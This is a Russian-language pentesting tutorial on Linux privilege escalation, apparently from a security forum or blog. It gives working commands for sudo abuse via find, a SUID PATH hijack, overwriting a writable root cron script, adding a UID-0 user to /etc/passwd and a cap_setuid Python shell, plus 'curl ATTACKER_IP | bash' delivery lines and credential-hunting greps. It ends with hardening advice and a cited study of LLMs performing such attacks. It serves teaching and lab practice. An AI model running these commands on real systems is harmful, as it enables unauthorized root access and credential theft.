Ты получил shell на машине. Курсор мигает от имени
или какого-нибудь
. До root - один шаг, но этот шаг может занять пять минут или пять часов - насколько широк арсенал техник и инструментов для этого, я разложил в
полном руководстве Linux для пентестера. Зависит от того, умеешь ли ты читать систему. Я разберу
повышение привилегий Linux так, как делаю это на реальных пентестах и CTF: от первой команды после foothold до полного root-доступа, с конкретными командами, разбором вывода и объяснением, почему каждая мисконфигурация опасна.
Что такое privilege escalation Linux и зачем это пентестеру
Эскалация привилегий Linux - получение более высоких прав в системе, чем те, что есть у текущего пользователя. В терминах MITRE ATT&CK это целая тактика Privilege Escalation с десятками техник: от Exploitation for Privilege Escalation (T1068) до Setuid and Setgid (T1548.001) и Sudo and Sudo Caching (T1548.003).
На практике повышение привилегий - обязательный этап любого пентеста. Получив initial access, атакующий видит систему глазами непривилегированного пользователя. Чтобы стянуть хеши из
, закрепиться бэкдором или пойти дальше по сети - нужен root. Без privilege escalation пентест заканчивается на полпути, а отчёт будет жиденьким.
Повышение привилегий бывает двух видов:
- Вертикальное - от обычного пользователя к root (или другому привилегированному аккаунту)
- Горизонтальное - переход на другого пользователя с тем же уровнем прав, но с доступом к другим данным
Здесь фокус на вертикальном - от low-priv до root-доступа.
Ручная разведка: первые команды после foothold
Прежде чем запускать автоматику, я всегда делаю базовую разведку руками. Две минуты работы, зато потом вывод LinPEAS читается осмысленно, а не как простыня текста. Команды ниже покрывают несколько техник Discovery по MITRE ATT&CK:
/
- System Owner/User Discovery (T1033),
/
/
- System Information Discovery (T1082).
Кто я и где я
Bash:
Код:
whoami
# текущий пользователь
id
# UID, GID и группы - обрати внимание на docker, lxd, disk
hostname
# имя хоста - часто подсказывает роль сервера
uname
-a
# ядро и архитектура - критично для kernel exploits
cat
/etc/os-release
# дистрибутив и версия
Вывод
может сразу дать вектор. Если пользователь в группе
,
или
- считай, полдела сделано. Это почти гарантированный путь к root без единого эксплойта.
Проверка sudo
Bash:
Код:
sudo
-l
# какие команды можно выполнять через sudo
sudo
-V
# версия sudo - старые версии бывают дырявыми
- первое, что я набираю на любой машине. Если в выводе
и любой бинарь из GTFOBins - можно идти пить кофе, root уже твой.
Поиск SUID-бинарей
Bash:
Код:
find
/ -perm -4000 -type f -ls
2>
/dev/null
Эта команда ищет все файлы с установленным SUID-битом. Каждый такой файл выполняется с правами владельца, а не текущего пользователя. Если владелец root, а бинарь позволяет выполнить произвольную команду - это прямой путь к эскалации привилегий (T1548.001, Privilege Escalation / Defense Evasion).
Cron-задачи и таймеры
Bash:
Код:
cat
/etc/crontab
# системные cron-задачи
ls
-la /etc/cron.d/
# дополнительные cron-конфиги
ls
-la /etc/cron.daily/ /etc/cron.hourly/
# периодические задачи
systemctl list-timers --all
2>
/dev/null
# systemd-таймеры
Сеть и сервисы
Bash:
Код:
ip
a
# сетевые интерфейсы - ищи dual-homed
ss -tlnp
# слушающие порты - внутренние сервисы
cat
/etc/hosts
# записи hosts - могут указать на другие машины
История и пароли
Bash:
Код:
history
# команды предыдущих сессий
cat
~/.bash_history
2>
/dev/null
# история bash
find
/ -name
"*.conf"
-o -name
"*.cfg"
-o -name
"*.ini"
2>
/dev/null
|
head
-20
grep
-ri
"password"
/etc/
2>
/dev/null
|
head
-20
File and Directory Discovery (T1083), доступ к /etc/passwd и /etc/shadow (T1003.008, Credential Access) и поиск паролей в конфигурационных файлах (T1552.001, Credential Access) - классика post-exploitation. Удивительно, как часто пароли валяются в конфигах в открытом виде.
LinPEAS: автоматизация разведки для повышения привилегий
LinPEAS (Linux Privilege Escalation Awesome Script) автоматизирует всё, что я описал выше, и добавляет сотни проверок сверху. Я запускаю его на каждой машине после ручной разведки, потому что глаз пропускает вещи: capabilities на бинарях, writable PATH-директории, утечки токенов в переменных окружения. LinPEAS это находит.
Как запустить LinPEAS
Ты уже на целевой машине. Способ доставки зависит от ситуации:
Вариант 1 - через HTTP-сервер атакующего:
Bash:
Код:
# На атакующей машине (Kali/Parrot):
python3 -m http.server
8080
# На целевой машине:
curl
http://ATTACKER_IP:8080/linpeas.sh
|
bash
Вариант 2 - загрузка и запуск локально:
Bash:
Код:
# На целевой машине:
wget
http://ATTACKER_IP:8080/linpeas.sh -O /tmp/linpeas.sh
chmod
+x /tmp/linpeas.sh
/tmp/linpeas.sh
Вариант 3 - без сохранения скрипта на диск (частичная скрытность):
Bash:
Код:
curl
http://ATTACKER_IP:8080/linpeas.sh
|
bash
|
tee
/tmp/linpeas_output.txt
Третий вариант удобен тем, что скрипт не сохраняется как файл, но вывод ловишь для анализа. Только не обольщайся - это не полноценный stealth: процесс виден в
, а
всё зафиксирует.
Как читать вывод LinPEAS
LinPEAS использует цветовую маркировку. Вот что реально важно:
ЦветЗначениеДействиеКрасн ый/ЖёлтыйС вероятностью 95% это вектор повышения привилегийЭксплуатируй - почти наверняка рабочий векторКрасныйНужно изучить - может потребовать дополнительных условийКопни глубже перед эксплуатациейЗелёныйИнтер есная информация для дальнейшего анализаЗапомни на потомСинийОбычная системная информацияИспользуй для контекста
Лично я сначала пролистываю весь вывод, выцепляя красно-жёлтые строки. Чаще всего они указывают на:
- SUID-бинари, которые есть в GTFOBins
- Cron-задачи, запускающие скрипты с записью для всех
- Sudo-правила с NOPASSWD для опасных команд
- Writable файлы в PATH
- Capabilities вроде
на бинарях
- Пароли в конфигурационных файлах
LinEnum: альтернатива для повышения привилегий Linux
LinEnum - ещё один скрипт для перечисления системной информации. Он менее детализирован, чем LinPEAS, зато работает быстрее и даёт чистый, легко читаемый вывод. Я беру LinEnum, когда нужна скорость или когда LinPEAS по какой-то причине не запускается (бывает на урезанных контейнерах).
Запуск LinEnum
Bash:
Код:
# Доставка аналогична LinPEAS:
wget
http://ATTACKER_IP:8080/LinEnum.sh -O /tmp/LinEnum.sh
chmod
+x /tmp/LinEnum.sh
/tmp/LinEnum.sh -t
# флаг -t включает расширенные проверки
LinEnum собирает информацию о пользователях, файловых правах, процессах, пакетах, сетевых конфигурациях, cron-задачах, журналах, версиях ПО. Вывод структурирован по разделам - удобно для быстрого прогона.
Сравнение инструментов автоматизации
ИнструментНазначениеЦвето вая маркировкаСкоростьГлубина LinPEASПолная разведка привилегийДаСредняяМаксим альнаяLinEnumПеречисление системной информацииНетВысокаяСредн яяpspyМониторинг процессов без rootНетРеальное времяУзкая (процессы)Linux Exploit SuggesterПоиск kernel exploitsНетВысокаяУзкая (ядро)Linux Smart EnumerationПеречисление с уровнями детализацииЧастичноСредня яНастраиваемая
pspy заслуживает отдельного слова. Это штука для мониторинга процессов в реальном времени без root-прав. Незаменима, когда cron-задача выполняется по расписанию, но не видна в
(пользовательские crontab'ы других аккаунтов). Запускаешь pspy, ждёшь пару минут - и видишь, какие процессы стартуют от root.
Bash:
Код:
# Запуск pspy:
./pspy64
# для 64-bit систем
# или
./pspy32
# для 32-bit
Техники повышения привилегий Linux: пошаговые примеры
Теория - хорошо, но без практики это просто буквы. Для каждой техники - сценарий, команды и объяснение, почему это работает.
Sudo misconfiguration: злоупотребление правами sudo
Техника Sudo and Sudo Caching (T1548.003, Privilege Escalation / Defense Evasion) - самый частый вектор на CTF и один из самых распространённых в реальных средах.
Шаг 1 - проверяем sudo-права:
Bash:
Пример вывода:
Код:
Код:
User www-data may run the following commands on target:
(root) NOPASSWD: /usr/bin/find
Шаг 2 - проверяем GTFOBins:
Идём на GTFOBins и ищем
. В разделе "Sudo":
Bash:
Код:
sudo
find
.
-exec /bin/bash
\
;
-quit
Шаг 3 - получаем root:
Bash:
Код:
sudo
find
.
-exec /bin/bash
\
;
-quit
whoami
# root
Почему это работает? Админ хотел дать пользователю возможность искать файлы, но
с флагом
выполняет любую команду.
- даже пароль не спросит. Одна строка в sudoers - и система скомпрометирована.
Другие опасные бинари в sudo:
,
,
,
,
,
,
,
,
. Каждый позволяет получить shell. Видишь любой из них в выводе
- сразу проверяй GTFOBins.
SUID бит Linux: эксплуатация через бинари с setuid
SUID-бит (Set User ID upon execution) - специальное разрешение, при котором файл выполняется с правами владельца. Техника Setuid and Setgid (T1548.001, Privilege Escalation / Defense Evasion).
Шаг 1 - находим SUID-бинари:
Bash:
Код:
find
/ -perm -4000 -type f -ls
2>
/dev/null
Пример вывода (обрезанный):
Код:
Код:
131085 40 -rwsr-xr-x 1 root root 40152 Jan 27 2020 /usr/bin/mount
131090 44 -rwsr-xr-x 1 root root 44784 Jan 27 2020 /usr/bin/newgrp
131143 64 -rwsr-xr-x 1 root root 63960 Feb 7 2020 /usr/bin/passwd
262285 20 -rwsr-xr-x 1 root root 16712 Sep 1 2020 /opt/custom-backup
Стандартные SUID-бинари (
,
,
) - норма, они тут живут. Нас интересуют нестандартные:
- вот это уже подозрительно.
Шаг 2 - анализируем нестандартный бинарь:
Bash:
Код:
file
/opt/custom-backup
strings /opt/custom-backup
|
head
-30
ltrace /opt/custom-backup
2>
&1
|
head
-20
# если ltrace доступен
Если
показывает вызов внешней команды без полного пути (просто
вместо
) - это потенциальный вектор для PATH manipulation. Работает, когда SUID-бинарь вызывает команду через
/
(они используют shell и переменную PATH). Если бинарь использует
с абсолютным путём - этот фокус не пройдёт. Проверить можно через
или
(если доступен).
Шаг 3 - эксплуатация через PATH:
Bash:
Код:
# Создаём вредоносный "cp" в /tmp:
echo
'#!/bin/bash'
>
/tmp/cp
echo
'/bin/bash -p'
>>
/tmp/cp
chmod
+x /tmp/cp
# Подменяем PATH:
export
PATH
=
/tmp:
$PATH
# Запускаем SUID-бинарь:
/opt/custom-backup
whoami
# root
Флаг
у bash - критически важен. Без него bash сбросит привилегии. С
он сохраняет effective UID, установленный через SUID. Для тех кто в танке - без этого флага bash решит, что ты «не настоящий root», и откатит права обратно.
Примечание: На современных дистрибутивах (Debian 12+, Ubuntu 22.04+) glibc secure execution mode (
Код:
__libc_enable_secure
) может сбрасывать переменные окружения (включая PATH) для SUID-процессов, а
может использовать
→
, который ведёт себя иначе. Проверяй, какой shell использует
и не сбрасывается ли PATH в конкретной среде.
Cron jobs privilege escalation: эксплуатация планировщика задач
Cron-задачи - любимый вектор пентестеров. Админы создают скрипты бэкапа от root, а права на сами скрипты выставляют как попало. Классика жанра.
Шаг 1 - находим cron-задачи:
Bash:
Код:
cat
/etc/crontab
ls
-la /etc/cron.d/
Пример вывода /etc/crontab:
Код:
Код:
* * * * * root /opt/scripts/backup.sh
Шаг 2 - проверяем права на скрипт:
Bash:
Код:
ls
-la /opt/scripts/backup.sh
# -rwxrwxrwx 1 root root 45 Jun 10 12:00 /opt/scripts/backup.sh
Права
- writable для всех. Скрипт выполняется каждую минуту от root. Тут даже думать не надо.
Шаг 3 - внедряем payload:
Bash:
Код:
echo
'#!/bin/bash'
>
/opt/scripts/backup.sh
echo
'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash'
>>
/opt/scripts/backup.sh
Шаг 4 - ждём минуту и получаем root:
Bash:
Код:
# Через минуту:
ls
-la /tmp/rootbash
# -rwsr-sr-x 1 root root ... /tmp/rootbash
/tmp/rootbash -p
whoami
# root
Если cron-задача не видна в
, запускаем
pspy и наблюдаем процессы в реальном времени. Пользовательские crontab'ы скрыты от других аккаунтов, но pspy покажет их выполнение - он мониторит
напрямую.
Kernel exploit: эксплуатация уязвимостей ядра
Техника Exploitation for Privilege Escalation (T1068, Privilege Escalation) - последнее средство, когда остальные векторы не сработали. Kernel exploits нестабильны и могут уронить систему, поэтому в реальном пентесте их используют с осторожностью (и с письменным согласием заказчика).
Классический пример -
Dirty COW (CVE-2016-5195). По данным NVD: race condition в
в ядрах Linux 2.x–4.x до 4.8.3 позволяет локальным пользователям повысить привилегии через некорректную обработку copy-on-write (COW) при записи в read-only memory mapping. CVSS:
7.0 (HIGH), вектор
Код:
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
. CWE: CWE-362 (Race Condition).
Разбор CVSS-вектора (чтобы не казался магическими буквами):
- - атака локальная, нужен доступ к системе
- - высокая сложность (race condition - надо поймать момент)
- - достаточно низких привилегий
- - действия пользователя не требуются
Порядок действий при поиске kernel-эксплойтов:
Bash:
Код:
# 1. Узнаём версию ядра:
uname
-r
# Пример: 3.13.0-24-generic
# 2. Запускаем Linux Exploit Suggester:
./linux-exploit-suggester.sh
# 3. Или ищем вручную:
searchsploit linux kernel
3.13
privilege escalation
Linux Exploit Suggester оценивает вероятность успеха: Highly Probable, Probable, Less Probable. Фокусируйся на первой категории - остальные чаще расстраивают, чем радуют.
Writable /etc/passwd: добавление root-пользователя
Если файл
доступен для записи (встречается на CTF-машинах и иногда в реальных средах с кривыми руками), можно тупо добавить нового пользователя с UID 0.
Bash:
Код:
# Проверяем права:
ls
-la /etc/passwd
# -rw-rw-rw- 1 root root ... /etc/passwd
# Генерируем хеш пароля (SHA-512, OpenSSL 1.1.1+; если -6 недоступен, используй -1 для MD5):
openssl
passwd
-6 -salt xyz password123
# $6$xyz$rD...hash...
# Добавляем пользователя с UID 0:
echo
'hacker:$6$xyz$rD...hash...:0:0:root:/root:/bin/bash'
>>
/etc/passwd
# Переключаемся:
su
hacker
# Вводим password123
whoami
# root
Это прямой пример техники Create Account: Local Account (T1136.001, Persistence) - добавление нового пользователя с UID 0 в файл учётных данных.
Пошаговый чейн: от shell до root
Собираю всё в единый алгоритм - так я работаю на реальной машине:
Делай раз - базовая разведка руками:
Bash:
Код:
whoami
&&
id
uname
-a
sudo
-l
cat
/etc/crontab
find
/ -perm -4000 -type f -ls
2>
/dev/null
Если
даёт вектор - эксплуатируй сразу через GTFOBins. Нестандартный SUID-бинарь - анализируй. Writable cron-задача - модифицируй. На этом этапе 60% CTF-машин уже решены.
Делай два - запускай LinPEAS:
Bash:
Код:
curl
http://ATTACKER_IP:8080/linpeas.sh
|
bash
|
tee
/tmp/lp.txt
Ищи красно-жёлтые маркеры. Проверяй всё, что LinPEAS отметил как высоковероятный вектор. Обращай внимание на capabilities (
Код:
getcap -r / 2>/dev/null
), writable директории в PATH и конфиги с паролями.
Делай три - мониторинг и глубокий анализ:
Bash:
Код:
# Если ничего не нашлось - запускай pspy:
./pspy64
# Параллельно ищи пароли:
grep
-ri
"pass\|pwd\|credential"
/var/www/ /opt/ /home/
2>
/dev/null
find
/ -name
"*.bak"
-o -name
"*.old"
-o -name
"*.conf"
2>
/dev/null
|
xargs
grep
-li
"password"
2>
/dev/null
Только если все предыдущие шаги не дали результат - переходи к kernel exploits. Проверяй версию ядра через Linux Exploit Suggester и ищи подходящий эксплойт. Это крайний вариант, а не первый.
Как автоматика конкурирует с ручным анализом
Согласно исследованию Happe и Cito (2023), «LLMs as Hackers: Autonomous Linux Privilege Escalation Attacks» (arxiv.org), GPT-4-Turbo успешно эксплуатировал от 33% до 83% уязвимостей в benchmark privilege escalation - сравнимо с результатами профессиональных пентестеров (75%). При этом даже продвинутые модели спотыкались на multi-step эксплуатации: например, не могли связать найденный SUID-бинарь с необходимостью проверить его в GTFOBins.
Что это значит на практике? LinPEAS и LinEnum не заменяют думающего пентестера. Скрипт покажет данные, но связать находки в рабочий чейн - твоя работа. LinPEAS может пометить
с capability
красным цветом, но конвертировать эту находку в root shell должен ты:
Bash:
Код:
# Пример: Python с cap_setuid
/usr/bin/python3 -c
'import os; os.setuid(0); os.system("/bin/bash")'
Защита и Linux hardening: что закрывать
Понимание атак даёт понимание защиты. Конкретные рекомендации:
Вектор атакиМера защитыSudo misconfigurationНикогда не давать sudo на shell-интерпретаторы, редакторы, find, awk. Строго определённые команды с полным путёмSUID на нестандартных бинаряхРегулярно аудитировать:
Код:
find / -perm -4000 -type f -ls
. Снимать SUID-бит с ненужных файлов:
Код:
chmod u-s /path/to/binary
Writable cron-скриптыВладелец root, права 700 или 755. Никогда не 777Устаревшее ядроОбновлять ядро. Использовать
для критичных систем, где перезагрузка невозможнаПароли в конфигахVault-системы (HashiCorp Vault, ansible-vault). Права на конфиги: 600, владелец - сервисный аккаунтWritable /etc/passwdПрава:
- 644,
- 640. Мониторить изменения через auditd
Итоги
Повышение привилегий Linux - не магия и не набор готовых рецептов. Это системный процесс: разведка, анализ, эксплуатация. LinPEAS и LinEnum автоматизируют разведку, GTFOBins дают справочник по эксплуатации, pspy помогает увидеть скрытые процессы. А связать всё это в рабочий чейн - задача пентестера, не скрипта.
Начни с лабораторий. На TryHackMe есть комнаты «Linux PrivEsc» и «Linux PrivEsc Arena», на
HackerLab - десятки машин с различными векторами. Запускай LinPEAS на каждой, учись читать вывод, проверяй находки вручную. Через двадцать машин ты будешь видеть вектор быстрее, чем скрипт закончит работу. Проверено.